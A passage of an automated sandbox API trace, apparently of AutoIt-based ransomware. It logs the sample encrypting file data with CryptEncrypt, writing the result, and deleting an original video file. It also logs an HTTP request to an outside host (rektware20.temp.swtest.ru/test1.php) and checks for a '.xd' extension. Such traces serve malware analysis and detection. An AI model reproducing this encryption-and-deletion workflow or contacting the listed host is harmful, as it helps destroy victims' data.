wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.352] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.352] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0068.352] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.352] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.352] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.352] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.352] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.352] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0068.352] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.353] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.353] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.353] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.353] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.353] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.353] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.353] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.353] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.354] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.354] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621918, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0068.354] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0068.355] CryptEncrypt (in: hKey=0x164c670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x130e618*=0x141a0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x130e618*=0x141b0) returned 1 [0068.355] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.355] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.355] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.355] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.355] CharLowerBuffW (in: lpsz="byte[82353]", cchLength=0xb | out: lpsz="byte[82353]") returned 0xb [0068.355] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.356] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.356] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.356] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0068.356] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.356] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0068.357] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptEncrypt", cchWideChar=13, lpMultiByteStr=0x1621a80, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptEncrypt", lpUsedDefaultChar=0x0) returned 13 [0068.357] GetProcAddress (hModule=0x74c60000, lpProcName="CryptEncrypt") returned 0x74c95bd0 [0068.357] CryptEncrypt (in: hKey=0x164c670, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x17e4cc0*, pdwDataLen=0x130e618*=0x141a0, dwBufLen=0x141b0 | out: pbData=0x17e4cc0*, pdwDataLen=0x130e618*=0x141b0) returned 1 [0068.357] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.357] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.357] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.357] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.357] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.357] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.357] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.357] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.357] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.357] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.357] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0068.358] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.358] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.358] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0068.358] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.358] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0068.358] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0068.363] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.363] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.363] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.364] WriteFile (in: hFile=0x2ac, lpBuffer=0x18911c8*, nNumberOfBytesToWrite=0x141b0, lpNumberOfBytesWritten=0x130f01c, lpOverlapped=0x0 | out: lpBuffer=0x18911c8*, lpNumberOfBytesWritten=0x130f01c*=0x141b0, lpOverlapped=0x0) returned 1 [0068.366] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.366] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.366] CharUpperBuffW (in: lpsz="_CRYPT_DESTROYKEY", cchLength=0x11 | out: lpsz="_CRYPT_DESTROYKEY") returned 0x11 [0068.366] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.366] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.366] PeekMessageW (in: lpMsg=0x130e7f4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7f4) returned 0 [0068.366] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0068.366] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDestroyKey", cchWideChar=16, lpMultiByteStr=0x16213c0, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDestroyKey", lpUsedDefaultChar=0x0) returned 16 [0068.367] GetProcAddress (hModule=0x74c60000, lpProcName="CryptDestroyKey") returned 0x74c7fc10 [0068.367] CryptDestroyKey (hKey=0x164c670) returned 1 [0068.367] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.367] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.367] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.367] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.367] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.367] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0068.367] PeekMessageW (in: lpMsg=0x130e994, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e994) returned 0 [0068.367] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.367] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.367] PeekMessageW (in: lpMsg=0x130e7cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e7cc) returned 0 [0068.367] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.367] PeekMessageW (in: lpMsg=0x130ebec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ebec) returned 0 [0068.367] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.367] PeekMessageW (in: lpMsg=0x130ee44, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ee44) returned 0 [0068.367] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.367] CharUpperBuffW (in: lpsz="_CRYPT_SHUTDOWN", cchLength=0xf | out: lpsz="_CRYPT_SHUTDOWN") returned 0xf [0068.368] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.368] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTDEC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTDEC") returned 0x13 [0068.368] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.368] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0068.368] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.368] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0068.368] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0068.368] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.368] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.368] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.368] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0068.368] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.368] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0068.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0068.368] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptReleaseContext", cchWideChar=20, lpMultiByteStr=0x164df90, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptReleaseContext", lpUsedDefaultChar=0x0) returned 20 [0068.368] GetProcAddress (hModule=0x74c60000, lpProcName="CryptReleaseContext") returned 0x74c80ad0 [0068.368] CryptReleaseContext (hProv=0x17aa098, dwFlags=0x0) returned 1 [0068.369] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.369] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0068.369] PeekMessageW (in: lpMsg=0x130eadc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eadc) returned 0 [0068.369] FreeLibrary (hLibModule=0x74c60000) returned 1 [0068.369] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.369] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0068.369] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.369] CloseHandle (hObject=0x3bc) returned 1 [0068.369] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.369] CloseHandle (hObject=0x2ac) returned 1 [0068.371] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0068.374] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.374] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", nBufferLength=0x7fff, lpBuffer=0x12ff018, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", lpFilePart=0x0) returned 0x46 [0068.374] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\kadhrhj0vaa a6d4kdd0.mp4")) returned 0x20 [0068.374] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4", lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0x164c3f0 [0068.374] DeleteFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\KaDHrhJ0vaA A6d4kDd0.mp4" (normalized: "c:\\users\\ciihmnxmn6ps\\videos\\-sjjvy1re6atxbcv\\kadhrhj0vaa a6d4kdd0.mp4")) returned 1 [0068.378] FindNextFileW (in: hFindFile=0x164c3f0, lpFindFileData=0x130f060 | out: lpFindFileData=0x130f060) returned 0 [0068.378] FindClose (in: hFindFile=0x164c3f0 | out: hFindFile=0x164c3f0) returned 1 [0068.382] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0068.383] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.383] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.383] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.383] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", lpFindFileData=0x130f048 | out: lpFindFileData=0x130f048) returned 0x164cb30 [0068.383] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0068.383] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0068.383] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130ef38 | out: lpUrlComponents=0x130ef38) returned 1 [0068.383] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0068.383] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ef80, dwBufferLength=0x8) returned 1 [0068.383] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x0, lpdwBufferLength=0x130ef8c) returned 0 [0068.383] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620f70, lpdwBufferLength=0x130ef8c | out: lpBuffer=0x1620f70, lpdwBufferLength=0x130ef8c) returned 1 [0068.383] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0068.383] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0068.383] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0068.384] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130ef40, lpdwBufferLength=0x130ef38, lpdwIndex=0x130ef3c*=0x0 | out: lpBuffer=0x130ef40*, lpdwBufferLength=0x130ef38*=0x4, lpdwIndex=0x130ef3c*=0x0) returned 1 [0068.384] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130ef5c, lpdwBufferLength=0x130ef88, lpdwIndex=0x130ef8c*=0x0 | out: lpBuffer=0x130ef5c*, lpdwBufferLength=0x130ef88*=0x2, lpdwIndex=0x130ef8c*=0x1) returned 1 [0068.384] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130ef3c, dwFlags=0x0, dwContext=0x0) returned 1 [0068.384] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292b0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292b0*, lpdwNumberOfBytesRead=0x130ef40*=0x2) returned 1 [0068.385] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16292e0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130ef40 | out: lpBuffer=0x16292e0*, lpdwNumberOfBytesRead=0x130ef40*=0x0) returned 1 [0068.385] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0068.385] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0068.385] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0068.385] CloseHandle (hObject=0x0) returned 0 [0068.385] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.385] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=":\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.385] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.385] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Users\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.385] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="sers\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.385] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ers\\CIiHmnxMn6Ps\\Videos\\-Sjjvy1RE6atxbCV\\pzltNfk4RHEJzcDe.mkv", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0068.386] CompareStringW 